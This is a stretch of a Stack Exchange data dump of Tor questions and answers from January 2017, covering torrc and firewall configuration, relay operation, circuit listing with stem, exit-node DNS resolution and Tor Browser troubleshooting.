  <row Id="13640" PostTypeId="2" ParentId="13634" CreationDate="2017-01-07T23:40:21.690" Score="1" Body="&lt;p&gt;If the adversary can see both your connection into the network and the results of your connection then it's likely that they will, given time, be able to deanonymize you with some level of certainty. This is a fundamental limitation of all (known, at least) low latency anonymity networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picking a known-good entry point will defend you in cases where the adversary doesn't have good network visibility of large enough portions of the network. In that case they could try running a set of entry nodes and some other point of interest (exit, hsdir, etc). By doing this, you'd remove their ability to link the traffic back to you. They might be able to control the &quot;exit&quot; and the middle node but since they don't have network visibility they'd have no means of linking it back to you directly, at best back to your known-good entry point...but there's the rub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your stated example of either running a private bridge yourself or having someone you known to run the private bridge, given that an adversary was able to track it back to the entry point, the entry point itself would have a restrictively small set of users. Thus, the fact that you are using the private bridge would reveal information about who you are, at least reducing it to a small set of possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this end, if you have a known-good guard then you'd have a better anonymity set in the case where they were able to successfully discover your chosen entry point. However picking your own guard comes with a whole other set of potential pitfalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in all cases the first point still applied: if they can see enough of the network then you will still lose.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-07T23:40:21.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="2" ParentId="13635" CreationDate="2017-01-08T01:43:02.543" Score="1" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; As of Tor 0.2.9.x you can specify &lt;code&gt;OnionTrafficOnly&lt;/code&gt; flag against a &lt;code&gt;SocksPort&lt;/code&gt; to only allow .onion traffic through it. So, using this will be more effective. Updating my answer to reflect this change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;iptables&lt;/code&gt; to restrict access to any destination except the &lt;code&gt;DNSPort&lt;/code&gt; and &lt;code&gt;SocksPort&lt;/code&gt; and outbound Tor traffic (from the &lt;code&gt;debian-tor&lt;/code&gt; user in this example.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that this will distinguish you from other tor users, fetching content from outside of .onion into an .onion is what will happen in the majority of cases. This will mean you'll be distinguishable from the set of most Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using something like &lt;code&gt;ferm&lt;/code&gt;, a tool for creating &lt;code&gt;iptables&lt;/code&gt; rule sets, you can create a &lt;code&gt;ferm.conf&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain ip {&#xA;    table filter {&#xA;        chain INPUT {&#xA;            policy DROP;&#xA;            mod state state (ESTABLISHED) ACCEPT;&#xA;            interface lo ACCEPT;&#xA;        }&#xA;&#xA;        chain OUTPUT {&#xA;            policy DROP;&#xA;            mod state state (ESTABLISHED) ACCEPT;&#xA;            outerface lo {&#xA;                daddr 127.0.0.1 proto tcp dport 9050 ACCEPT;&#xA;                daddr 127.0.0.1 proto udp dport (53 5353) ACCEPT;&#xA;            }&#xA;            mod owner uid-owner debian-tor {&#xA;                proto tcp syn mod state state (NEW) ACCEPT;&#xA;            }&#xA;            REJECT reject-with icmp-port-unreachable;&#xA;        }&#xA;&#xA;        chain FORWARD {&#xA;            policy DROP;&#xA;        }&#xA;    }&#xA;&#xA;    table nat {&#xA;        chain PREROUTING {&#xA;            policy ACCEPT;&#xA;        }&#xA;&#xA;        chain POSTROUTING {&#xA;            policy ACCEPT;&#xA;        }&#xA;&#xA;        chain OUTPUT {&#xA;            policy ACCEPT;&#xA;            daddr 127.0.0.1 proto udp dport 53 REDIRECT to-ports 5353;&#xA;        }&#xA;    }&#xA;}&#xA;domain ip6 {&#xA;    table filter {&#xA;        chain INPUT {&#xA;            policy DROP;&#xA;&#xA;        }&#xA;&#xA;        chain FORWARD {&#xA;            policy DROP;&#xA;        }&#xA;&#xA;        chain OUTPUT {&#xA;            policy DROP;&#xA;            REJECT reject-with icmp6-port-unreachable;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting your &lt;code&gt;/etc/tor/torrc&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050 OnionTrafficOnly&#xA;DNSPort 5353&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And setting your &lt;code&gt;/etc/resolv.conf&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nameserver 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-02-01T06:57:25.900" LastActivityDate="2017-02-01T06:57:25.900" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="1" CreationDate="2017-01-08T02:51:26.663" Score="0" ViewCount="1941" Body="&lt;p&gt;I’ve tried to configure my file to avoid connecting to nodes in certain countries, but Tor still connects to those countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&#xA;Below my list of bridges are these entries:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ControlPort unix:&quot;/Users/xxx/Library/Application Support/TorBrowser-Data/Tor/control.socket&quot;&lt;br&gt;&#xA;  DataDirectory /Users/xxx/Library/Application Support/TorBrowser-Data/Tor&lt;br&gt;&#xA;  ExcludeNodes {AG} {US} {UM} {CA} {RU} {SE},{??}&lt;br&gt;&#xA;  ExcludeExitNodes {AG} {US} {UM} {CA} {RU} {SE},{??}&lt;br&gt;&#xA;  GeoIPFile /Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor/geoip&lt;br&gt;&#xA;  GeoIPv6File /Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor/geoip6&lt;br&gt;&#xA;  HiddenServiceStatistics 0&lt;br&gt;&#xA;  SocksPort unix:&quot;/Users/xxx/Library/Application Support/TorBrowser-  Data/Tor/socks.socket&quot; IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&lt;br&gt;&#xA;  StrictNodes 1&lt;br&gt;&#xA;  UseBridges 1&lt;br&gt;&#xA;  UseEntryGuards 0  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I’ll remove some of the countries, but still need to figure out why Tor doesn't honor my settings.&lt;/p&gt;&#xA;" OwnerUserId="14533" LastEditorUserId="9291" LastEditDate="2017-01-08T15:28:12.267" LastActivityDate="2019-08-15T04:52:40.543" Title="Help with torrc config?" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13643" PostTypeId="2" ParentId="13642" CreationDate="2017-01-08T15:28:15.663" Score="1" Body="&lt;p&gt;First of all, Exclude's are comma-separated, second - they restrict entry and exit nodes respectively. There's no way to restrict a middle nodes, so - one way or another - you accidentally will use nodes from these countries as a middle ones. Actually - this can not be restricted for good: it would break Tor network apart if implemented(I've tried it experimenting with my patches).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The breakout screinario is when you can have a middle node allowed by you, but it's settings does not allow it to connect to your Exit or Rendezvouz point. So you end up with quite a few nodes for your chains and you're busted =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-08T15:28:15.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13646" PostTypeId="1" AcceptedAnswerId="13648" CreationDate="2017-01-08T23:04:37.013" Score="0" ViewCount="253" Body="&lt;p&gt;I am trying to run a tor relay node (non exit), but when i copy the lines into the torrc file shown on the tor website, and try to launch tor browser, i get this message:&lt;a href=&quot;https://i.stack.imgur.com/PAyd8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PAyd8.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also on a side note, how do i ensure that I am running a non exit relay?&lt;/p&gt;&#xA;" OwnerUserId="15791" LastActivityDate="2017-01-11T09:55:03.370" Title="Trying to run a relay, not working" Tags="|relays|" AnswerCount="1" CommentCount="2" ClosedDate="2017-01-31T16:07:46.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="13647" PostTypeId="1" CreationDate="2017-01-08T23:08:28.177" Score="1" ViewCount="3022" Body="&lt;p&gt;When I launch tor ('&lt;code&gt;tor&lt;/code&gt;' command via the shell), the shell show me theses lines : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g1AVv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g1AVv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, nothing happen after the &quot;Bootstrapped 100%: Done&quot; :/ &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I restart my computer and re-tested&lt;/li&gt;&#xA;&lt;li&gt;I purge tor (&lt;code&gt;sudo apt-get purge tor&lt;/code&gt;) and reinstall it (&lt;a href=&quot;https://www.blackmoreops.com/2013/12/16/installing-tor-kali-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;with this tutorial&lt;/a&gt;, Option #2: &quot;Install Tor from Debian Wheezy Repository&quot;)&lt;/li&gt;&#xA;&lt;li&gt;I check if any another tor process running via 'ps -aux | grep tor', but no...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know where is the problem..Thanks for any help !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kali version, &lt;code&gt;cat /etc/*-release&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISTRIB_ID=Kali &#xA;DISTRIB_RELEASE=kali-rolling&#xA;DISTRIB_CODENAME=kali-rolling &#xA;DISTRIB_DESCRIPTION=&quot;Kali GNU/Linux Rolling&quot; &#xA;PRETTY_NAME=&quot;Kali GNU/Linux Rolling&quot; &#xA;NAME=&quot;Kali GNU/Linux&quot;&#xA;ID=kali &#xA;VERSION=&quot;2016.2&quot; &#xA;VERSION_ID=&quot;2016.2&quot; &#xA;ID_LIKE=debian&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15229" LastEditorUserId="88" LastEditDate="2019-06-07T21:21:28.530" LastActivityDate="2019-06-07T21:21:28.530" Title="Tor browser won't open (kali roling 2016.2)" Tags="|tor-browser-bundle|kali-linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13648" PostTypeId="2" ParentId="13646" CreationDate="2017-01-09T00:18:48.417" Score="0" Body="&lt;p&gt;Without actually seeing what your &lt;code&gt;torrc&lt;/code&gt; file says the only information I can give you is that you don't actually copy and paste the stuff from the tor site to the file cause those lines are placed all along the file, all you have to do is go through and uncomment them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also looks like you are editing the file for the browser, if you are going to be hosting a relay I highly recommend paying for a VPS from a service like &lt;a href=&quot;http://digitalocean.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DigitalOcean&lt;/a&gt; and if you aren't interested in doing that I recommend setting up a virtual machine running Ubuntu of some sort and then installing Tor from the command line with a tutorial like &lt;a href=&quot;https://unindented.org/articles/run-a-tor-relay-on-ubuntu-trusty/&quot; rel=&quot;nofollow noreferrer&quot;&gt;such&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="71" LastEditDate="2017-01-11T09:55:03.370" LastActivityDate="2017-01-11T09:55:03.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13649" PostTypeId="1" CreationDate="2017-01-09T00:49:30.893" Score="1" ViewCount="624" Body="&lt;p&gt;so since two days i get this error message :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware....&quot;&#xA;when i click the restart button it simply pops up again.&#xA;because i am a novocaine i would like to hear your opinions on the topic. i can't copy the log to my clipboard as he shows that 0 logs were copied.&#xA;i already read a lot regarding that topic but i can't find my torrc file also.&#xA;Also there is no file directory regarding the torrc file neither in ~/Library/Application Support/TorBrowser-Data nor in the program directory itself.&#xA;whole thing seems very strange because i did not make any major adjustments on my mac. so there might be several options / possibilities regarding my topic but since i'm not that much into the technical side i would really appreciate it if you could drop some thoughts on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers and thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15792" LastEditorUserId="15792" LastEditDate="2017-01-09T00:55:06.827" LastActivityDate="2017-09-08T00:23:07.197" Title="tor won't connect (mac)" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="1" CreationDate="2017-01-09T04:50:50.890" Score="1" ViewCount="27" Body="&lt;p&gt;is anyone able to open &lt;a href=&quot;https://www.target.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.target.com&lt;/a&gt; or&#xA; other retail store websites ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getting this error when acccessing ::&#xA;Access Denied&#xA;You don't have permission to access &quot;&lt;a href=&quot;http://www.target.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.target.com/&lt;/a&gt;&quot; on this server.&lt;/p&gt;&#xA;" OwnerUserId="15793" LastActivityDate="2017-01-09T04:50:50.890" Title="can not open to retail store websites" Tags="|help|" AnswerCount="0" CommentCount="0" ClosedDate="2017-01-09T21:18:01.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="13651" PostTypeId="1" CreationDate="2017-01-09T09:12:24.193" Score="1" ViewCount="83" Body="&lt;p&gt;I have two relays that started life about a month ago so we are sill in the &quot;Lifecycle of a new relay&quot; time frame. The differences in the two are physical location and ORPort. Both are on Digital Ocean VPS. 1cpu 1GB memory. Both are Debian 8.6 and tor 0.2.8.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay 1 is located in San Francisco and ORPort port is set to: 9001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay 2 is located in Singapore and ORPort is set to 443&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bandwidth on both relays is: 3168 KBytes Rate/Burst&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IPv6 is enabled on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay #1 gets quite a bit more traffic than relay #2. Usually 3-4 times more but sometimes even more according to atlas.torproject.org &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not much of a sys admin so I'm not sure how to calculate the data transfers accurately. I use arm and glances to get an idea. arm seems to way off on its 'average' report.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point in the future I will have a reason to restart these relays (software upgrades etc) so I'm wondering if the difference is due to location, ORPort or both. Then maybe I can get Singapore to be a little more efficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a plan to install a bridge in the future and would possibly choose Singapore for location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added info: atlas reports 'Advertised Bandwidth' on relay #1 3.19 MB/s and relay #2 991.26 KB/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torstatus.blutemagie.de shows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay #1 3244032 / 3244032 / 334499  for Rate/Max/Observed in Bps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay #2 3244032 / 3244032 / 41903   for Rate/Max/Observed in Bps&lt;/p&gt;&#xA;" OwnerUserId="15316" LastEditorUserId="15316" LastEditDate="2017-01-09T13:41:20.443" LastActivityDate="2017-01-09T13:41:20.443" Title="Difference in traffic on similar Tor relays" Tags="|relays|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13653" PostTypeId="1" AcceptedAnswerId="13655" CreationDate="2017-01-09T11:48:20.603" Score="1" ViewCount="1216" Body="&lt;p&gt;What would happen if I press &quot;Refresh Tor Browser&quot; on about:support page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the bundled extensions (like Torbutton) be gone too and become standard Firefox browser?&lt;/p&gt;&#xA;" OwnerUserId="15795" LastActivityDate="2017-01-09T17:31:05.603" Title="What would happen if I press &quot;Refresh Tor Browser&quot; on about:support page?" Tags="|tor-browser-bundle|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13655" PostTypeId="2" ParentId="13653" CreationDate="2017-01-09T17:31:05.603" Score="0" Body="&lt;p&gt;Yes (I once tried it), so &lt;strong&gt;DO NOT DO THAT&lt;/strong&gt;! It will completely remove everything, including Torbutton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a clean fresh re-install of the Tor Browser just download it again from the official site (http&lt;strong&gt;s&lt;/strong&gt;://torproject.org) and delete the previous copy of the Tor Browser and install it again.&lt;/p&gt;&#xA;" OwnerUserId="15797" LastActivityDate="2017-01-09T17:31:05.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13657" PostTypeId="1" CreationDate="2017-01-10T08:44:19.267" Score="2" ViewCount="2612" Body="&lt;p&gt;Why aren’t the cache files deleted when Tor is closed, and could they be used to help trace where Tor had been connected to?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There’s a bunch of 'em!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cached-certs&lt;br&gt;&#xA;cached-descriptors&lt;br&gt;&#xA;cached-descriptors.new&lt;br&gt;&#xA;cached-microdesc-consensus&lt;br&gt;&#xA;cached-microdescs&lt;br&gt;&#xA;cached-microdescs.new  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about the cached data &lt;a href=&quot;https://tor.stackexchange.com/questions/128/does-the-tor-browser-bundle-cache-relay-information&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;It’s gibberish to me, but doesn’t seem to address the security question.&lt;/p&gt;&#xA;" OwnerUserId="14533" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-02-09T21:24:20.783" Title="About the cache files:" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="1" CreationDate="2017-01-10T10:14:22.680" Score="2" ViewCount="1450" Body="&lt;p&gt;I can get the current with &lt;a href=&quot;http://paste.ubuntu.com/23775470/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this stem code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/python&#xA;from stem import CircStatus&#xA;from stem.control import Controller&#xA;&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;    controller.authenticate()&#xA;&#xA;    for circ in sorted(controller.get_circuits()):&#xA;        if circ.status != CircStatus.BUILT:&#xA;            continue&#xA;    print(&quot;Circuit %s&quot; % (circ.id))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would you list all tor circuits that have ever been established from the moment that tor has been started?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things clear, instead of listing the current circuit only (say number 7) I want to list all c&lt;/p&gt;&#xA;" OwnerUserId="15804" LastEditorUserId="88" LastEditDate="2017-04-19T11:28:44.580" LastActivityDate="2018-07-13T21:00:49.783" Title="How to list all tor circuits that have ever been established" Tags="|circuit|stem|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13660" PostTypeId="2" ParentId="13659" CreationDate="2017-01-10T18:30:43.993" Score="1" Body="&lt;p&gt;There's no log for this kind of information - and for a good reason: it can hurt the privacy and anonymity of Tor. You can - technically - poll Tor regulary through Stem and keep the log for yourself, but anyway - it's a bad idea IMHO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please put some more details about what do you need it for? Maybe this task can be solved in another way?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-10T18:30:43.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13661" PostTypeId="2" ParentId="13657" CreationDate="2017-01-10T20:12:12.050" Score="1" Body="&lt;p&gt;It's a &quot;hints for future&quot; for your Tor node: these files will speed-up it's reintegration into network when restarted and some possible malicious node attacks - generally based on MitM techniques - can be prevented, i.e. it's maintaining a &quot;known certificates and keys list&quot;. There's nothing bad in deleting them, but nothing good either: 10-20Mbytes on disk, rarely accessed - it's not so expensive nowdays to just have it &quot;for good&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-10T20:12:12.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13662" PostTypeId="2" ParentId="13628" CreationDate="2017-01-11T00:21:19.360" Score="4" Body="&lt;p&gt;It's a big probability that it was a clock skew: on reboot many OS'es and distro's are updating the local time using NTP protocol, so - once you've got rebooted you had an accurate time and was able to join the network successfully.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-11T00:21:19.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13663" PostTypeId="2" ParentId="13627" CreationDate="2017-01-11T00:27:21.693" Score="1" Body="&lt;p&gt;A thing is that Tor is an anonymity network, so you can't set an &quot;exit relay using policies&quot; on per-relay basis. There're some guidelines and fair usage presumption - but you can't disable all &quot;bad things&quot;. &lt;code&gt;ExitPolicy&lt;/code&gt; directive will not help you: DNS names of &quot;bad sites&quot; are changing, and existing DNS names are changing hosts, i.e. IP's(that can be rejected via ExitPolicy directive). So - the security for you here is that it is not you &lt;em&gt;personally and intentively&lt;/em&gt; surfing porn or hacking bank when (ab)using Tor. Also please keep in mind that subjects like &quot;good&quot; and &quot;bad&quot; are &lt;em&gt;very personal and subjective ones&lt;/em&gt;: what's good and absolutely OK for you personally can be a death-sentence-reason from another person's point of view. So either you &lt;strong&gt;are&lt;/strong&gt; an exit relay, or you're &lt;strong&gt;not&lt;/strong&gt; an exit relay. Dot.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-11T00:27:21.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13664" PostTypeId="2" ParentId="13608" CreationDate="2017-01-11T00:30:04.873" Score="0" Body="&lt;p&gt;As far as I know - yes, an app uses HTTPS too and even more: exactly the same infrastructure. If you're able to use VMWare &quot;one-time used&quot; machine - yes, browsing anonymously you will be a way more private via separate isolated VM.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-11T00:30:04.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="2" ParentId="13561" CreationDate="2017-01-11T00:35:48.467" Score="1" Body="&lt;p&gt;If you have not experienced the connection interruption, then the reason is written in your log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/1/2017 5:31:53 AM.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;1/1/2017 5:31:53 AM.100 [NOTICE] New control connection opened from 127.0.0.1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can be either a Tor browser or it's plugin - or a side application controlling your Tor instance. Some settings went wrong &lt;em&gt;or&lt;/em&gt; you've pressed the identity renewal/chain rebuild and it is a bit slow and was not ready to handle incoming client requests yet&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-11T00:35:48.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13666" PostTypeId="2" ParentId="4838" CreationDate="2017-01-11T02:55:35.403" Score="2" Body="&lt;p&gt;Yes, you can use a web-based proxy to avoid being blocked when a website notices your tor exit node IP address. I tested this particular proxy with two different websites that block tor traffic, and it worked fine. Because you don't mess with any Tor Browser settings you are getting the requested&#xA; Tor -&gt; Proxy -&gt; Clearnet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://hide.me/en/proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hide.me/en/proxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to keep in mind, the proxy could probably monitor whatever you do over it, but they won't have any idea who you are since you're coming to them through Tor. Except for any identifying info you reveal in your browsing that they may be monitoring. &lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-11T02:55:35.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="1" CreationDate="2017-01-11T10:23:51.377" Score="1" ViewCount="39" Body="&lt;p&gt;I have two relays and they both have exim4 running. Is there a reason for this? Do I have a need for a mail service running?  &lt;/p&gt;&#xA;" OwnerUserId="15316" LastActivityDate="2017-01-11T10:23:51.377" Title="Is there a reason to run exim4 on a relay?" Tags="|relays|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13668" PostTypeId="2" ParentId="13409" CreationDate="2017-01-11T12:30:14.020" Score="1" Body="&lt;p&gt;A Tor client does not know where or how any DNS record will be resolved. It hands off this resolving to some exit relay. Infact, in the best case scenario (because it's less likely to result in applications leaking DNS) the client doesn't even care about DNS, it simply hands off the hostname and lets the other side handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tor-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;6.2. Opening streams and transferring data&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To open a new anonymized TCP connection, the OP chooses an open&#xA;     circuit to an exit that may be able to connect to the destination&#xA;     address, selects an arbitrary StreamID not yet used on that circuit,&#xA;     and constructs a RELAY_BEGIN cell with a payload encoding the address&#xA;     and port of the destination host.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...SNIP...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Upon receiving this cell, the exit node resolves the address as&#xA;     necessary, and opens a new TCP connection to the target port.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alternatively, it's possible to explicitly request an exit relay to resolve an address:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;6.4. Remote hostname lookup&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To find the address associated with a hostname, the OP sends a&#xA;     RELAY_RESOLVE cell containing the hostname to be resolved with a NUL&#xA;     terminating byte. (For a reverse lookup, the OP sends a RELAY_RESOLVE&#xA;     cell containing an in-addr.arpa address.) The OR replies with a&#xA;     RELAY_RESOLVED cell containing any number of answers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that the mechanism for resolving hostnames is entirely entirely at the exit node. Tor uses libevent's eventdns as an asynchronous, caching DNS resolver internally and by default that will use the operating systems DNS resolver, although this can be managed through the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ServerDNSResolvConfFile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ServerDNSResolvConfFile&lt;/code&gt;&lt;/a&gt; option in &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are definite problems with one entity seeing large portions of Tor circuit destinations and there are further still problems with public DNS providers applying censorship and even &lt;a href=&quot;https://en.wikipedia.org/wiki/DNS_hijacking#Manipulation_by_ISPs&quot; rel=&quot;nofollow noreferrer&quot;&gt;NXDOMAIN hijacking&lt;/a&gt;, resulting in degradation or denial of service for Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been multiple calls to various mailing lists and even the Tor Project wiki to ask users to diversify their DNS servers but unfortunately it's often not heeded or it's overlooked, and so defaults prevail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reading, I'd recommend &lt;a href=&quot;https://nymity.ch/tor-dns/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Philipp Winter's&lt;/a&gt; summary of various studies and effects.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-11T12:30:14.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13671" PostTypeId="1" CreationDate="2017-01-12T05:15:29.087" Score="2" ViewCount="252" Body="&lt;p&gt;I have found that clearing RAM using the stock Samsung memory manager transfers all standard tabs in Orfox to private mode - and makes them reload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clearing RAM, reloading does happen in Firefox.  Transferring ordinary tabs to private mode does not happen with Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?  Am I in the right place for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please treat this tor noob gently - I do try to find my own answers before I post.&lt;/p&gt;&#xA;" OwnerUserId="15822" LastActivityDate="2018-12-08T07:01:40.340" Title="Android Orfox - Clearing RAM messes tabs up" Tags="|tor-browser-bundle|android|mobile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
